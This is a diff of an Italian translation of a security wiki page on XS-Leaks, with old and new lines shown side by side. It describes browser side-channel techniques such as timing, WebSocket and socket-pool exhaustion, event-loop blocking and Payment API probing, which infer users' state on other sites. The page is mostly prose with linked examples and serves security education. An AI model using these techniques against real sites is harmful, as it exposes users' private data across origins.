* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) un altro esempio in: * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) un altro esempio in:
{% content-ref url="performance.now-example.md" %} {% content-ref url="performance.now-example.md" %}
@ -124,7 +124,7 @@ In questo caso, se `example.com/404` non viene trovato, verrà caricato `attacke
#### Tempistica Onload + Attività Pesante Forzata #### Tempistica Onload + Attività Pesante Forzata
Questa tecnica è simile alla precedente, ma l'**attaccante** forzerà anche qualche azione a richiedere un **tempo rilevante** quando la **risposta è positiva o negativa** e misurerà quel tempo. Questa tecnica è simile alla precedente, ma l'**attaccante** forzerà anche qualche azione a richiedere un **tempo significativo** quando la **risposta è positiva o negativa** e misurerà quel tempo.
{% content-ref url="performance.now-+-force-heavy-task.md" %} {% content-ref url="performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](performance.now-+-force-heavy-task.md) [performance.now-+-force-heavy-task.md](performance.now-+-force-heavy-task.md)
@ -135,12 +135,12 @@ Questa tecnica è simile alla precedente, ma l'**attaccante** forzerà anche qua
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato) * **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) * **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Sommario:** L'orologio [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) può essere utilizzato per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi. * **Sommario:** Il clock [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) può essere utilizzato per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Il tempo impiegato per recuperare una risorsa può essere misurato utilizzando gli eventi [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). L'evento **`beforeunload`** viene attivato quando il browser sta per navigare verso una nuova pagina, mentre l'evento **`unload`** si verifica quando effettivamente avviene la navigazione. La differenza di tempo tra questi due eventi può essere calcolata per determinare la **durata in cui il browser ha impiegato a recuperare la risorsa**. Il tempo impiegato per recuperare una risorsa può essere misurato utilizzando gli eventi [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). L'evento **`beforeunload`** viene attivato quando il browser sta per navigare verso una nuova pagina, mentre l'evento **`unload`** si verifica quando la navigazione è effettivamente in corso. La differenza di tempo tra questi due eventi può essere calcolata per determinare la **durata che il browser ha impiegato per recuperare la risorsa**.
### Tempistica Frame con Sandboxing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a> ### Tempistica del Frame con Sandboxing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato) * **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
@ -148,7 +148,7 @@ Il tempo impiegato per recuperare una risorsa può essere misurato utilizzando g
* **Sommario:** L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi. * **Sommario:** L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
È stato osservato che in assenza di [Protezioni Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), il tempo necessario per caricare una pagina e le sue risorse secondarie tramite la rete può essere misurato da un attaccante. Questa misurazione è tipicamente possibile perché l'handler `onload` di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per eludere la variabilità introdotta dall'esecuzione dello script, un attaccante potrebbe utilizzare l'attributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) all'interno dell'`<iframe>`. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete. È stato osservato che in assenza di [Protezioni Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), il tempo necessario per caricare una pagina e le sue sotto-risorse tramite la rete può essere misurato da un attaccante. Questa misurazione è tipicamente possibile perché l'handler `onload` di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per eludere la variabilità introdotta dall'esecuzione dello script, un attaccante potrebbe utilizzare l'attributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) all'interno dell'`<iframe>`. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.
```javascript ```javascript
// Example of an iframe with the sandbox attribute // Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe> <iframe src="example.html" sandbox></iframe>
@ -179,7 +179,7 @@ Quindi, puoi **distinguere tra** una pagina **caricata correttamente** o una pag
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina * **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: * **Ulteriori informazioni**:
* **Sommario**: Se la **pagina** restituisce il **contenuto sensibile**, o un **contenuto** che può essere **controllato** dall'utente. L'utente potrebbe impostare **codice JS valido nel caso negativo**, e **caricare** ogni tentativo all'interno dei tag **`<script>`**, quindi nei casi **negativi** il codice degli attaccanti **viene eseguito**, e nei casi **positivi** **nulla** verrà eseguito. * **Sommario**: Se la **pagina** restituisce il **contenuto sensibile**, o un **contenuto** che può essere **controllato** dall'utente. L'utente potrebbe impostare **codice JS valido nel caso negativo**, e **caricare** ogni tentativo all'interno dei tag **`<script>`**, quindi nei casi **negativi** il codice degli attaccanti viene **eseguito**, e nei casi **positivi** **nulla** verrà eseguito.
* **Esempio di Codice**: * **Esempio di Codice**:
{% content-ref url="javascript-execution-xs-leak.md" %} {% content-ref url="javascript-execution-xs-leak.md" %}
@ -205,7 +205,7 @@ Controlla il link per ulteriori informazioni sull'attacco.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet) * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
È possibile **caricare una pagina** all'interno di un **iframe** e utilizzare il **`#valore_id`** per far sì che la pagina **si concentri sull'elemento** dell'iframe con l'id indicato, quindi se viene attivato un segnale **`onblur`**, l'elemento ID esiste.\ È possibile **caricare una pagina** all'interno di un **iframe** e utilizzare il **`#valore_id`** per far sì che la pagina **si concentri sull'elemento** dell'iframe con l'id indicato, quindi se viene attivato un segnale **`onblur`**, l'elemento ID esiste.\
Puoi eseguire lo stesso attacco con tag **`portal`**. Puoi eseguire lo stesso attacco con i tag **`portal`**.
### Trasmissioni postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a> ### Trasmissioni postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -215,14 +215,14 @@ Puoi eseguire lo stesso attacco con tag **`portal`**.
* **Sommario**: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessage come un oracolo per conoscere lo stato dell'utente nella pagina * **Sommario**: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessage come un oracolo per conoscere lo stato dell'utente nella pagina
* **Esempio di Codice**: `Qualsiasi codice in ascolto di tutti i postMessage.` * **Esempio di Codice**: `Qualsiasi codice in ascolto di tutti i postMessage.`
Le applicazioni utilizzano frequentemente le trasmissioni [`postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è correttamente specificato, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può agire come un **oracolo**; ad esempio, certi messaggi potrebbero essere inviati solo agli utenti che sono autenticati. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o sull'identità dell'utente, come ad esempio se sono autenticati o meno. Le applicazioni utilizzano frequentemente le trasmissioni [`postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è correttamente specificato, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può agire come un **oracolo**; ad esempio, certi messaggi potrebbero essere inviati solo agli utenti che sono loggati. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o l'identità dell'utente, come ad esempio se sono autenticati o meno.
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## Tecniche di Limiti Globali ## Tecniche di Limiti Globali
@ -234,46 +234,46 @@ Ottieni l'accesso oggi:
* **Sommario**: Esaurire il limite di connessioni WebSocket porta alla divulgazione del numero di connessioni WebSocket di una pagina cross-origin. * **Sommario**: Esaurire il limite di connessioni WebSocket porta alla divulgazione del numero di connessioni WebSocket di una pagina cross-origin.
* **Esempio di Codice**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\)) * **Esempio di Codice**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
È possibile identificare se, e quante, **connessioni WebSocket utilizza una pagina target**. Ciò consente a un attaccante di rilevare gli stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket. È possibile identificare se, e quante, **connessioni WebSocket una pagina di destinazione utilizza**. Ciò consente a un attaccante di rilevare gli stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket.
Se un **origine** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dallo stato delle loro connessioni, la creazione di **nuovi oggetti causerà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web di destinazione in un pop-up o iframe e quindi, dopo che il sito web di destinazione è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web di destinazione**. Se un **origine** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dallo stato delle loro connessioni, la creazione di **nuovi oggetti** di connessione causerà eccezioni JavaScript. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web di destinazione in un pop-up o iframe e quindi, dopo che il sito web di destinazione è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web di destinazione**.
### API di Pagamento ### API di pagamento
* **Metodi di Inclusione**: Frames, Pop-up * **Metodi di inclusione**: Frames, Pop-up
* **Differenza Rilevabile**: Utilizzo dell'API * **Differenza rilevabile**: Utilizzo dell'API
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1) * **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Sommario**: Rilevare la Richiesta di Pagamento perché può essere attiva solo una alla volta. * **Sommario**: Rileva la richiesta di pagamento perché può essere attiva solo una alla volta.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak) * **Esempio di codice**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Questo XS-Leak consente a un attaccante di **rilevare quando una pagina cross-origin inizia una richiesta di pagamento**. Questo XS-Leak consente a un attaccante di **rilevare quando una pagina cross-origin inizia una richiesta di pagamento**.
Poiché **può essere attiva solo una richiesta di pagamento** alla volta, se il sito di destinazione sta utilizzando l'API di Richiesta di Pagamento, qualsiasi **ulteriore tentativo di utilizzare questa API fallirà**, causando un'**eccezione JavaScript**. L'attaccante può sfruttare ciò **tentando periodicamente di mostrare l'interfaccia dell'API di Pagamento**. Se un tentativo causa un'eccezione, il sito di destinazione la sta utilizzando attualmente. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia dopo la creazione. Poiché **può essere attiva solo una richiesta di pagamento** alla volta, se il sito di destinazione sta utilizzando l'API di richiesta di pagamento, qualsiasi **ulteriore tentativo di utilizzare questa API fallirà**, causando un'**eccezione JavaScript**. L'attaccante può sfruttare ciò **tentando periodicamente di mostrare l'interfaccia dell'API di pagamento**. Se un tentativo causa un'eccezione, il sito di destinazione la sta utilizzando attualmente. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia utente dopo la creazione.
### Temporizzazione del Ciclo degli Eventi <a href="#timing-the-event-loop" id="timing-the-event-loop"></a> ### Temporizzazione del ciclo degli eventi <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
* **Metodi di Inclusione**: * **Metodi di inclusione**:
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato) * **Differenza rilevabile**: Temporizzazione (generalmente dovuta al contenuto della pagina, codice di stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop) * **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Sommario:** Misurare il tempo di esecuzione di un web abusando del ciclo degli eventi JS single-threaded. * **Sommario:** Misura il tempo di esecuzione di un web abusando del ciclo degli eventi JS single-threaded.
* **Esempio di Codice**: * **Esempio di codice**:
{% content-ref url="event-loop-blocking-+-lazy-images.md" %} {% content-ref url="event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](event-loop-blocking-+-lazy-images.md) [event-loop-blocking-+-lazy-images.md](event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %} {% endcontent-ref %}
JavaScript opera su un [modello di concorrenza a ciclo degli eventi single-threaded](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), il che significa che **può eseguire solo un compito alla volta**. Questa caratteristica può essere sfruttata per misurare **quanto tempo impiega il codice di un'origine diversa ad eseguire**. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo degli eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool degli eventi è vuoto. Se altre origini stanno inviando eventi allo stesso pool, un **attaccante può dedurre il tempo impiegato per l'esecuzione di questi eventi esterni osservando ritardi nell'esecuzione dei propri compiti**. Questo metodo di monitoraggio del ciclo degli eventi per i ritardi può rivelare il tempo di esecuzione del codice di origini diverse, potenzialmente esponendo informazioni sensibili. JavaScript opera su un [modello di concorrenza del ciclo degli eventi single-threaded](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), il che significa che **può eseguire solo un compito alla volta**. Questa caratteristica può essere sfruttata per misurare **quanto tempo impiega il codice da un'origine diversa ad eseguire**. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo degli eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool degli eventi è vuoto. Se altre origini inviano anche eventi allo stesso pool, un **attaccante può dedurre il tempo necessario per l'esecuzione di questi eventi esterni osservando ritardi nell'esecuzione dei propri compiti**. Questo metodo di monitoraggio del ciclo degli eventi per i ritardi può rivelare il tempo di esecuzione del codice da origini diverse, potenzialmente esponendo informazioni sensibili.
{% hint style="warning" %} {% hint style="warning" %}
In una temporizzazione dell'esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla. In una temporizzazione dell'esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
{% endhint %} {% endhint %}
### Ciclo degli Eventi Occupato <a href="#busy-event-loop" id="busy-event-loop"></a> ### Ciclo degli eventi occupato <a href="#busy-event-loop" id="busy-event-loop"></a>
* **Metodi di Inclusione**: * **Metodi di inclusione**:
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato) * **Differenza rilevabile**: Temporizzazione (generalmente dovuta al contenuto della pagina, codice di stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) * **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Sommario:** Un metodo per misurare il tempo di esecuzione di un'operazione web coinvolge il blocco intenzionale del ciclo degli eventi di un thread e quindi la misurazione di **quanto tempo impiega il ciclo degli eventi per diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un calcolo lungo o una chiamata API sincrona) nel ciclo degli eventi e monitorando il tempo impiegato per l'inizio dell'esecuzione del codice successivo, si può dedurre la durata dei compiti che venivano eseguiti nel ciclo degli eventi durante il periodo di blocco. Questa tecnica sfrutta la natura single-threaded del ciclo degli eventi di JavaScript, dove i compiti vengono eseguiti in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread. * **Sommario:** Un metodo per misurare il tempo di esecuzione di un'operazione web coinvolge il blocco intenzionale del ciclo degli eventi di un thread e quindi la misurazione di **quanto tempo impiega il ciclo degli eventi a diventare nuovamente disponibile**. Inserendo un'operazione bloccante (come un calcolo lungo o una chiamata API sincrona) nel ciclo degli eventi e monitorando il tempo necessario affinché il codice successivo inizi l'esecuzione, è possibile dedurre la durata dei compiti che venivano eseguiti nel ciclo degli eventi durante il periodo di blocco. Questa tecnica sfrutta la natura single-threaded del ciclo degli eventi di JavaScript, dove i compiti vengono eseguiti in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
* **Esempio di Codice**: * **Esempio di codice**:
Un vantaggio significativo della tecnica di misurare il tempo di esecuzione bloccando il ciclo degli eventi è il potenziale per aggirare **l'Isolamento del Sito**. **L'Isolamento del Sito** è una funzionalità di sicurezza che separa i diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando la temporizzazione dell'esecuzione di un'altra origine attraverso il ciclo degli eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa sull'accesso diretto ai dati dell'altra origine, ma osserva l'impatto delle attività di quell'origine sul ciclo degli eventi condiviso, eludendo così le barriere protettive stabilite dall'**Isolamento del Sito**. Un vantaggio significativo della tecnica di misurare il tempo di esecuzione bloccando il ciclo degli eventi è il potenziale per aggirare **l'Isolamento del Sito**. **L'Isolamento del Sito** è una funzionalità di sicurezza che separa i diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando la temporizzazione dell'esecuzione di un'altra origine attraverso il ciclo degli eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa sull'accesso diretto ai dati dell'altra origine, ma osserva l'impatto delle attività di quell'origine sul ciclo degli eventi condiviso, eludendo così le barriere protettive stabilite dall'**Isolamento del Sito**.
@ -281,26 +281,33 @@ Un vantaggio significativo della tecnica di misurare il tempo di esecuzione bloc
In una temporizzazione dell'esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla. In una temporizzazione dell'esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
{% endhint %} {% endhint %}
### Pool di Connessioni ### Pool di connessioni
* **Metodi di Inclusione**: Richieste JavaScript * **Metodi di inclusione**: Richieste JavaScript
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato) * **Differenza rilevabile**: Temporizzazione (generalmente dovuta al contenuto della pagina, codice di stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) * **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Sommario:** Un attaccante potrebbe bloccare tutte le socket tranne una, caricare il web target e contemporaneamente caricare un'altra pagina, il tempo fino a quando l'ultima pagina inizia a caricarsi è il tempo impiegato dalla pagina target per caricarsi. * **Sommario:** Un attaccante potrebbe bloccare tutte le socket tranne una, caricare il web target e contemporaneamente caricare un'altra pagina, il tempo fino a quando l'ultima pagina inizia a caricarsi è il tempo impiegato dalla pagina di destinazione per caricarsi.
* **Esempio di Codice**: * **Esempio di codice**:
{% content-ref url="connection-pool-example.md" %} {% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md) [connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %} {% endcontent-ref %}
I browser utilizzano le socket per la comunicazione con il server, ma a causa delle risorse limitate del sistema operativo e dell'hardware, **i browser sono costretti a imporre un limite** al numero di socket simultanee. Gli attaccanti possono sfruttare questa limitazione attraverso i seguenti passaggi: I browser utilizzano le socket per la comunicazione con il server, ma a causa delle risorse limitate del sistema operativo e dell'hardware, i **browser sono costretti a imporre un limite** al numero di socket simultanee. Gli attaccanti possono sfruttare questa limitazione attraverso i seguenti passaggi:
1. Verificare il limite delle socket del browser, ad esempio, 256 socket globali. 1. Verificare il limite delle socket del browser, ad esempio, 256 socket globali.
2. Occupare 255 socket per un periodo prolungato avviando 255 richieste a vari host, progettate per mantenere le connessioni aperte senza completarle. 2. Occupare 255 socket per un periodo prolungato avviando 255 richieste a host diversi, progettate per mantenere le connessioni aperte senza completarle.
3. Utilizzare la 256a socket per inviare una richiesta alla pagina target. 3. Utilizzare la 256ª socket per inviare una richiesta alla pagina di destinazione.
4. Tentare una 257a richiesta a un host diverso. Dato che tutte le socket sono in uso (come indicato dai passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando una socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa alla 256a socket (la socket della pagina target). Questa inferenza è possibile perché le 255 socket dal passaggio 2 sono ancora impegnate, implicando che qualsiasi socket appena disponibile deve essere quella rilasciata dal passaggio 3. Il tempo impiegato dalla 256a socket per diventare disponibile è quindi direttamente collegato al tempo necessario per completare la richiesta alla pagina target. 4. Tentare una 257ª richiesta a un host diverso. Dato che tutte le socket sono in uso (come nei passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando una socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa alla 256ª socket (la socket della pagina di destinazione). Questa inferenza è possibile perché le 255 socket dal passaggio 2 sono ancora impegnate, implicando che qualsiasi socket appena disponibile deve essere quella rilasciata dal passaggio 3. Il tempo impiegato dalla 256ª socket per diventare disponibile è quindi direttamente collegato al tempo necessario per completare la richiesta alla pagina di destinazione.
Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Pool di connessioni per destinazione
* **Metodi di inclusione**: Richieste JavaScript
* **Differenza rilevabile**: Temporizzazione (generalmente dovuta al contenuto della pagina, codice di stato)
* **Ulteriori informazioni**:
* **Sommario:** È simile alla tecnica precedente ma invece di utilizzare tutte le socket, Google **Chrome** impone un limite di **6 richieste simultanee allo stesso origine**. Se **blocciamo 5** e poi **avviamo una sesta** richiesta possiamo **misurarla** e se riusciamo a far sì che la **pagina vittima invii** più **richieste** allo stesso endpoint per rilevare uno **stato** della **pagina**, la **sesta richiesta** impiegherà **più tempo** e possiamo rilevarlo.
## Tecniche dell'API delle Prestazioni ## Tecniche dell'API delle Prestazioni
L'[`API delle Prestazioni`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre approfondimenti sulle metriche delle prestazioni delle applicazioni web, ulteriormente arricchite dall'[`API di Tempistica delle Risorse`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). L'API di Tempistica delle Risorse consente il monitoraggio dettagliato dei tempi delle richieste di rete, come la durata delle richieste. In particolare, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, sono disponibili dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio. L'[`API delle Prestazioni`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre approfondimenti sulle metriche delle prestazioni delle applicazioni web, ulteriormente arricchite dall'[`API di Tempistica delle Risorse`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). L'API di Tempistica delle Risorse consente il monitoraggio dettagliato dei tempi delle richieste di rete, come la durata delle richieste. In particolare, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, sono disponibili dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio.
@ -314,10 +321,10 @@ Oltre alle misurazioni temporali, l'API delle Prestazioni può essere sfruttata
* **Metodi di Inclusione**: Frame, Elementi HTML * **Metodi di Inclusione**: Frame, Elementi HTML
* **Differenza Rilevabile**: Codice di Stato * **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) * **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** Una richiesta che genera errori non creerà una voce di tempistica delle risorse. * **Sommario:** Una richiesta che genera errori non creerà una voce di temporizzazione delle risorse.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) * **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
È possibile **differenziare tra i codici di stato delle risposte HTTP** perché le richieste che portano a un **errore** non creano una voce di prestazioni. È possibile **differenziare tra i codici di stato delle risposte HTTP** perché le richieste che portano a un **errore** non creano una voce di prestazione.
### Errore di Ricarica dello Stile ### Errore di Ricarica dello Stile
@ -327,7 +334,7 @@ Oltre alle misurazioni temporali, l'API delle Prestazioni può essere sfruttata
